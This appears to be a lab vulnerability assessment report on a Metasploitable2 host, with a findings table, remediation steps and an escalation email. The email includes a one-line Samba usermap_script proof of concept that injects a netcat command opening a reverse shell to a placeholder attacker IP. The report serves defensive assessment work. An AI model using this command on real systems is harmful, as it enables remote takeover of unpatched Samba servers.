**Title: Vulnerability Assessment Report - Metasploitable2 Host**
**Target:** 192.168.1.100 (Metasploitable2)
**Date:** August 28, 2025
**Tools:** Nmap, OpenVAS

**Executive Summary:**
A comprehensive vulnerability scan of the target host revealed multiple critical security vulnerabilities that could allow a remote attacker to gain complete control of the system. Immediate remediation is required.

**Findings Table:**

| Scan ID | Vulnerability | CVSS Score | Priority | Host |
|---|---|---|---|---|
| 001 | Samba usermap_script (CVE-2007-2447) | 9.8 | Critical | 192.168.1.100 |
| 002 | Apache PHP-CGI Argument Injection (CVE-2012-1823) | 9.8 | Critical | 192.168.1.100 |
| 003 | VNC Server (No Password) | 7.5 | High | 192.168.1.100 |
| 004 | FTP Anonymous Login Allowed | 7.5 | High | 192.168.1.100 |

**Remediation:**

1. **Patch or Disable Samba.** If the service is not needed, disable it. If it is needed, apply the latest patches.
2. **Update Apache and PHP.** Apply security patches to mitigate the PHP-CGI argument injection vulnerability.
3. **Configure a Strong VNC Password.** Do not allow null authentication.
4. **Disable Anonymous FTP Login.** If FTP is required, use strong authentication and ensure it is not exposed publicly.

**Evidence:** See screenshots 02_OpenVAS_Report.png and 04_Nmap_Scan.png.

**Escalation Email :**

**Subject: URGENT: Critical Vulnerabilities on Lab Host 192.168.1.100**

Hello Development Team,

Immediate action is required for host 192.168.1.100. Critical vulnerabilities in Samba (CVE-2007-2447) and Apache PHP (CVE-2012-1823) allow remote code execution.

**Proof of Concept (Samba):**

```
smbclient //192.168.1.100/tmp -N -c 'logon "/=nohup nc -e /bin/bash [KALI_IP] 4444"'
```

This command grants a reverse shell. We recommend patching or disabling these services immediately before any deployment.

Best,
VAPT Team